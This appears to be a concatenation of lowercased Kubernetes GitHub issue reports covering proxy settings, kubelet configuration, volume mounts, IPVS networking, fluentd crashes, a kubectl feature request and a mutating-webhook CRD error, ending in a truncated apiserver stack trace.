what happened  :\r i have an environment that has proxy settings including no_proxy for pod and services cidrs.\r i have deployed pod with the poststart hook that points to another pod.\r the pod has stuck in containercreating state.\r i saw the entry in my proxy that request was sent through it.\r \r   what you expected to happen  :\r everything just works.\r \r   how to reproduce it  as minimally and precisely as possible   :\r setup environment that uses proxy, for example you can use tinyproxy.\r set no_proxy for pod and services cidr ie  10.200.0.0/16,10.100.0.0/16 \r run following conformance test\r  test/e2e/common/lifecycle_hook.go: \ should execute poststart http hook properly\  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.2\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  : linux d8c11c89-0f99-4f46-ab48-707b76531a94 4.15.0-38-generic  41~16.04.1-ubuntu smp wed oct 10 20:16:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: cloud foundry container runtime\r - others: tinyproxy as proxy.\r \r <!-- do not edit below this line -->\r 

hi,  i'm trying to create a kubernetes cluster on aws with debian jessie on the region _us-east-1_. after the creation of the ec2 instances is done, the master node is failing to start the kubelet service because the file _/etc/sysconfig/kubelet_ used as environment config file for the kubelet systemd unit doesn't exist. when i look into the salt minion logs i find that:      2016-03-30 13:31:50,695  salt.state         info      executing state file.managed for /etc/sysconfig/kubelet 2016-03-30 13:31:50,754  salt.state         error     unable to manage file: jinja variable list object has no element 0; line 12  ---  ...    {% set api_servers = \ --api-servers=https://\  + grains.api_servers -%} {% elif grains.apiservers is defined -%}   todo remove after 0.16.0 : deprecated form   {% set api_servers = \ --api-servers=https://\  + grains.apiservers -%} {% elif grains 'roles'  0  == 'kubernetes-master' -%}   {% set master_ipv4 = salt 'grains.get'  'fqdn_ip4'  0  -%}   {% set api_servers = \ --api-servers=https://\  + master_ipv4 -%}    <====================== {% else -%}   {% set ips = salt 'mine.get'  'roles:kubernetes-master', 'network.ip_addrs', 'grain' .values   -%}   {% set api_servers = \ --api-servers=https://\  + ips 0  0  -%} {% endif -%}   ...   --- 2016-03-30 13:31:50,754  salt.state         info      completed state  /etc/sysconfig/kubelet  at time 13:31:50.754164      i don't know which jinja variable is talking about, or when i can get that jinja template to check for the missing variable, but i suspect, if i understood well, that maybe there is something missing in my _/etc/kubernetes/kube_env.yaml_ file.

the mount/unmount logic is controlled by creation/deletion of the pod. but pv/pvc is controlled by pv controller. as mentioned in issue  44297, in current design, after deleting pvc, the mount point was still exist on the kubernetes node which the pod was deployed and also the mount point could be seen from inside the pod.and also if other pod reuses the pv, then both old pod and new pod could access same mount point.

is this a bug report or feature request?  :\r >  \r   what happened  :\r \r there are sever e2e test failed in ipvs ci jobs, the mostly failed e2e test are as follow:\r    \r services should create endpoints for unready pods\r services should be able to create a functioning nodeport service\r dns should provide dns for the cluster  conformance \r    \r \r i already did some research, the basic reason is   can't access pod in the same node via cluster ip  .\r \r route table:\r    shell\r destination     gateway         genmask         flags metric ref    use iface\r -----------------------------------------------------------------------------\r 0.0.0.0         10.128.0.1      0.0.0.0         ug    0      0        0 eth0\r 10.64.3.0       0.0.0.0         255.255.255.0   u     0      0        0 cbr0\r 10.128.0.1      0.0.0.0         255.255.255.255 uh    0      0        0 eth0\r 169.254.123.0   0.0.0.0         255.255.255.0   u     0      0        0 docker0\r    \r \r when access cluster ip, the iptables trace may looks like:\r    shell\r  ipvs\r pod1-->prerouting-->route cbr0 -->input-->ipvs dnat -->route cbr0 -->output-->postrouting-->\r  iptables\r pod1-->prerouting dnat -->route cbr0 -->forward-->postrouting-->pod2\r  ipvs local up\r pod1-->prerouting-->route docker0 -->input-->ipvs dnat -->route docker0 -->pod2\r    \r \r iptables and ipvs mode have different trace, but both did dnat, got the pod ip, and went to  postrouting . \r \r here are packages grab in  cbr0 \r    shell\r   ipvs mode, access cluster ip\r 08:11:17.506485 ip 10.64.3.64.40848 > 10.0.94.106.http: flags  s , seq 3154060992, win 28400, options  mss 1420,sackok,ts val 20674197 ecr 0,nop,wscale 7 , length 0\r 08:11:17.506541 ip 10.64.3.64.40848 > 10.64.3.62.9376: flags  s , seq 3154060992, win 28400, options  mss 1420,sackok,ts val 20674197 ecr 0,nop,wscale 7 , length 0\r \r  iptables mode, access cluster ip\r 08:16:36.050961 ip 10.64.3.64.41458 > 10.64.3.62.9376: flags  s , seq 3187885692, win 28400, options  mss 1420,sackok,ts val 20753834 ecr 0,nop,wscale 7 , length 0\r 08:16:36.051017 ip 10.64.3.64.41458 > 10.64.3.62.9376: flags  s , seq 3187885692, win 28400, options  mss 1420,sackok,ts val 20753834 ecr 0,nop,wscale 7 , length 0\r 08:16:36.051050 ip 10.64.3.62.9376 > 10.64.3.64.41458: flags  s. , seq 2925603549, ack 3187885693, win 28160, options  mss 1420,sackok,ts val 20753834 ecr 20753834,nop,wscale 7 , length 0\r 08:16:36.051070 ip 10.64.3.64.41458 > 10.64.3.62.9376: flags  . , ack 1, win 222, options  nop,nop,ts val 20753834 ecr 20753834 , length 0\r 08:16:36.051075 ip 10.64.3.64.41458 > 10.64.3.62.9376: flags  . , ack 1, win 222, options  nop,nop,ts val 20753834 ecr 20753834 , length 0\r ...\r    \r   10.0.94.106  is the cluster ip,  10.64.3.62:9376  is  pod ip:port . \r \r     test information    \r    shell\r   k get pod -n e2e-tests-services-rdx9d -owide \r name             ready     status    restarts   age       ip           node\r execpod-tmfgh    1/1       running   0          20h       10.64.3.64   bootstrap-e2e-minion-group-lkhj\r service1-6qh7d   1/1       running   0          20h       10.64.2.30   bootstrap-e2e-minion-group-1bd0\r service1-72j6n   1/1       running   0          20h       10.64.3.62   bootstrap-e2e-minion-group-lkhj\r service1-lwkrm   1/1       running   0          20h       10.64.1.29   bootstrap-e2e-minion-group-2g1l\r   k get ep -n e2e-tests-services-rdx9d\r name       endpoints                                         age\r service1   10.64.1.29:9376,10.64.2.30:9376,10.64.3.62:9376   20h\r   k get svc -n e2e-tests-services-rdx9d\r name       cluster-ip     external-ip   port s    age\r service1   10.0.94.106    <none>        80/tcp    20h\r    \r commend:\r    shell\r   k exec -it -n e2e-tests-services-rdx9d execpod-tmfgh sh\r /   wget -q -t 1 -o - 10.0.94.106:80\r wget: download timed out\r /   wget -q -t 4 -o - 10.0.94.106:80\r service1-6qh7d\r /   wget -q -t 4 -o - 10.0.94.106:80\r service1-lwkrm\r    \r \r if anybody know about this problem, have some idea, or want to get more information about this issue, please let me know, thanks!\r \r   how to reproduce it  as minimally and precisely as possible   :\r - use  /cluster/gce  build a gce cluster\r - set kube-proxy in ipvs mode\r - create a service with one backend\r - create a exec pod in same node\r - access service cluster ip in exec pod.\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : 4.4.0-1033-gke\r - install tools: /cluster/gce\r

today workload controllers usually contain templates for pods.\r \r the  application survey showed  https://docs.google.com/presentation/d/1utt0k-u1nl2apxro29gabvrv1x7mfleqsgpw8mi_ngm/edit slide=id.g3882d9116d_2_146  on slide 9 that multiple parties are interested to allow the controllers to support custom resource templating as well.\r \r  \r in our use case - kubevirt - this would allow us to stamp out vms.\r obviously these vms would be treated by the workload controller like pods - which would be fine.

we should make them all from either scratch, busybox, or debian:jessie  or ubuntu:14.04 but it is bigger .  i am sad that there is not an ultra-small \ just enough debian to run apt-get install\  base.

in  18047, mungedoc checks if a doc exists in upstream/release-1.1. if upstream/release-1.1 in the local machine is out-dated, mungedoc will work improperly. we need to at least add a message to warn people to fetch the latest upstream/release-1.1.  cc @nikhiljindal @mattjmcnaughton

currently  cluster/ubuntu/config-default.sh  has the following lines:      bash   optionally add other contents to the flannel configuration json   object normally stored in etcd as /coreos.com/network/config.  use   json syntax suitable for insertion into a json object constructor   after other field name:value pairs.  for example:   flannel_other_net_config=', \ subnetmin\ : \ 172.16.10.0\ , \ subnetmax\ : \ 172.16.90.0\ '  export flannel_other_net_config flannel_other_net_config=''      so when uncommenting or copying the example  flannel_other_net_config  line the variable gets set, then exported and successively emptied which could result in errors like \ failed to acquire subnet: out of subnets\  on the nodes. would it be an option to change the example line by prepending it with the  export  command and omitting the following export of the variable and the line setting the variable to an empty value? so like this:      bash   optionally add other contents to the flannel configuration json   object normally stored in etcd as /coreos.com/network/config.  use   json syntax suitable for insertion into a json object constructor   after other field name:value pairs.  for example:   export flannel_other_net_config=', \ subnetmin\ : \ 172.16.10.0\ , \ subnetmax\ : \ 172.16.90.0\ '      if preferred i could put this in a pr too of course.  jeremy

problem:  if pod is deleted while kubelet is restarted, master might detach volume while it is not yet unmounted. in this situation, the following sequence might happen. 1.  kubelet restarts, all information about mounted volumes are gone. node updates its status indicating that no volume is mounted currently.  but the truth is that volume is still mounted  2. master deletes the pod, volume reconciler detaches the volume because it thinks the volume is not mounted anymore.  3. on node, global mount path is gone because of detach. but the bind mount path for the volume is still there. volume manager reconstruct process scans the directory but could not get the device path so fails to reconstruct the volume information. the kubelet cleanuporphanedpoddirs will also fail to clean the pod directory because the bind mount still exists.    proposed solution:  please refer to  33203. the root cause of this problem is master is trying to detach while volumes are still mounted. the global path is gone while bind mount still exist. if the proposed approach in  33203 can completely avoid this problem, this pr is not required to do anything. however, considering human intervention or other inferences, it is better to take extra step to avoid this situation. if global device path could not be found, reconstruct can use fake information to put into the state. based on the state, reconciler will use the available information to unmount bind mount. unmount global mount path is not needed since it is no longer exist.

is this a bug report or feature request?    choose one :\r \r feature request\r \r   kubernetes version    use  kubectl version  :\r \r head\r \r now that rbac is going to ga, using serviceaccounts is getting more and more important.\r still a lot of users run their apps/addons/whatever in the  default  sa.\r \r in order for the admin to be able to change serviceaccount easily after an application has been installed  which supposedly is crashlooping due to insufficient privs , a  kubectl set serviceaccount/sa  command could exist.\r \r i know i can do this:\r    \r kubectl patch deploy <name> -p '{\ spec\ :{\ template\ :{\ spec\ :{\ serviceaccountname\ :\ <sa>\ }}}}'\r    \r \r but for new users to kubernetes, it's non-obvious.\r \r proposed command:\r    \r kubectl set  serviceaccount|sa   deployment|rc|rs|pod   name   serviceaccount \r    \r \r tracking issue: https://github.com/kubernetes/kubernetes/issues/21648\r \r wdyt? @kubernetes/sig-cli-feature-requests @kubernetes/sig-auth-feature-requests @jbeda @janetkuo @adohe @smarterclayton @pwittrock \r \r this would be a good way for a new contributor to get aquainted with the code by contributing this feature.

this happened in a 1.6 test: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial-release-1-6/929\r \r fluentd crashed/restarted ~40 times during the test because it could not handle the bad message in journal.\r    \r 2017-11-14 15:40:52 +0000  error : unexpected error error_class=systemd::journalerror error= <systemd::journalerror: bad message>\r   2017-11-14 15:40:52 +0000  error : /var/lib/gems/2.1.0/gems/systemd-journal-1.2.3/lib/systemd/journal.rb:284:in  enumerate_helper'\r   2017-11-14 15:40:52 +0000  error : /var/lib/gems/2.1.0/gems/systemd-journal-1.2.3/lib/systemd/journal.rb:106:in  current_entry'\r   2017-11-14 15:40:52 +0000  error : /var/lib/gems/2.1.0/gems/fluent-plugin-systemd-0.0.8/lib/fluent/plugin/in_systemd.rb:88:in  watch'\r   2017-11-14 15:40:52 +0000  error : /var/lib/gems/2.1.0/gems/fluent-plugin-systemd-0.0.8/lib/fluent/plugin/in_systemd.rb:70:in  run'\r 2017-11-14 15:40:52 +0000  info : shutting down fluentd\r    \r \r this issue fixed in fluentd-0.14.x according to https://github.com/reevoo/fluent-plugin-systemd/issues/16\r not sure if the latest fluentd-gcp image contains the fix or not.\r \r /cc @crassirostris

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i spun up a new k8s 1.9 on-prem cluster and added a mutating webhook:\r    yaml\r apiversion: admissionregistration.k8s.io/v1beta1\r kind: mutatingwebhookconfiguration\r metadata:\r   name: webhook-name\r webhooks:\r   - name: webhook-name\r     failurepolicy: fail\r     clientconfig:\r       url: https://127.0.0.1:12345/auth/admit\r       cabundle: ...\r     rules:\r     - operations:\r       - \ create\ \r       - \ update\ \r       apigroups:\r       - \  \ \r       apiversions:\r       - \  \ \r       resources:\r       - \  \ \r    \r \r i then tried to create a crd:\r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: crontabs.stable.example.com\r spec:\r   group: stable.example.com\r   version: v1\r   scope: namespaced\r   names:\r     plural: crontabs\r     singular: crontab\r     kind: crontab\r     shortnames:\r     - ct\r    \r \r and got the error:\r    \r error from server  internalerror : error when creating \ crd.yml\ : internal error occurred: no kind \ customresourcedefinition\  is registered for version \ apiextensions.k8s.io/v1beta1\ \r    \r \r if the crd already exists, i get this error instead:\r    \r error from server  internalerror : error when applying patch:\r {\ metadata\ :{\ annotations\ :{},\ namespace\ :\ \ },\ spec\ :{\ names\ :{}}}\r to:\r &{0xc420105080 0xc420178f50  crontabs.stable.example.com crd.yml 0xc4207597b8 628296 false}\r for: \ crd.yml\ : internal error occurred: no kind \ customresourcedefinition\  is registered for version \ apiextensions.k8s.io/v1beta1\ \r    \r \r   what you expected to happen  :\r \r    \r customresourcedefinition \ crontabs.stable.example.com\  created\r    \r or\r    \r customresourcedefinition \ crontabs.stable.example.com\  configured\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r  - create a mutating webhook  like above. the endpoint doesn't need to exist as it is never hit .\r  - try to create a crd  like above \r  - failure\r \r   anything else we need to know?  :\r logs have this:\r <details><summary>click to expand</summary><p>\r \r    \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : goroutine 6378189  running :\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc42f274000, 0x1f4 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:207 +0xdd\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc42f274000, 0x1f4 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:186 +0x35\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .writeheader 0xc428474640, 0x1f4 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:188 +0xac\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.  responsewriterdelegator .writeheader 0xc42a345170, 0x1f4 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:258 +0x45\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.serializeobject 0x3a5b84d, 0x10, 0x7fdb8c78bea0, 0xc4236a1980, 0x8da19e0, 0xc420c9cd18, 0xc42925f200, 0x1f4, 0x8d89b60, 0xc42da4b5f0 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:95 +0x8d\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.writeobjectnegotiated 0x7fdb8c5d49b8, 0xc42a3454d0, 0x8da4020, 0xc420f1c600, 0x3a68bbb, 0x14, 0x3a487e2, 0x7, 0x8da19e0, 0xc420c9cd18, ... \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:123 +0x32b\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters.errornegotiated 0x7fdb8c5d49b8, 0xc42a3454d0, 0x8d77e60, 0xc42da4b560, 0x8da4020, 0xc420f1c600, 0x3a68bbb, 0x14, 0x3a487e2, 0x7, ... \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/responsewriters/writers.go:142 +0x163\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.  requestscope .err 0xc4236f0140, 0x8d77e60, 0xc42da4b560, 0x8da19e0, 0xc420c9cd18, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:67 +0x10c\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.createhandler.func1 0x8da19e0, 0xc420c9cd18, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/create.go:101 +0x1645\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints.restfulcreateresource.func1 0xc42a345080, 0xc434d2a300 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/installer.go:1080 +0xd5\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1 0xc42a345080, 0xc434d2a300 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:199 +0x208\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc420edd3b0, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:277 +0xb18\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc420edd3b0, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:199 +0x57\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3a74477, 0x17, 0xc420edd3b0, 0xc42036ed90, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:153 +0x4e0\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc420a12360, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : <autogenerated>:1 +0x75\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc426684300, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:254 +0x407\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc42011b490, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3a56112, 0xe, 0xc42022f0e0, 0xc42011b490, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x6ad\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc4208f1b80, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : <autogenerated>:1 +0x75\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc42ecb9600, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:91 +0x15f\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc42eeaf240, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x26d\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc423304460, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3a58df0, 0xf, 0xc420613290, 0xc423304460, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x6ad\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc429832240, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : <autogenerated>:1 +0x75\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:51 +0x37d\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : net/http.handlerfunc.servehttp 0xc422bba8c0, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /usr/local/go/src/net/http/server.go:1918 +0x44\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:165 +0x42a\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : net/http.handlerfunc.servehttp 0xc427375180, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /usr/local/go/src/net/http/server.go:1918 +0x44\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:49 +0x203a\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : net/http.handlerfunc.servehttp 0xc422bba960, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /usr/local/go/src/net/http/server.go:1918 +0x44\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:79 +0x2b1\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : net/http.handlerfunc.servehttp 0xc422bbaa50, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /usr/local/go/src/net/http/server.go:1918 +0x44\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xcb\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : net/http.handlerfunc.servehttp 0xc429832280, 0x7fdb8c5899f8, 0xc420f07bc8, 0xc42925f200 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /usr/local/go/src/net/http/server.go:1918 +0x44\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc429832300, 0x8da5aa0, 0xc420f07bc8, 0xc42925f200, 0xc42c529380 \r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:93 +0x8d\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r mar 15 20:50:32 ip-10-0-121-56 kube-apiserver 1499 : 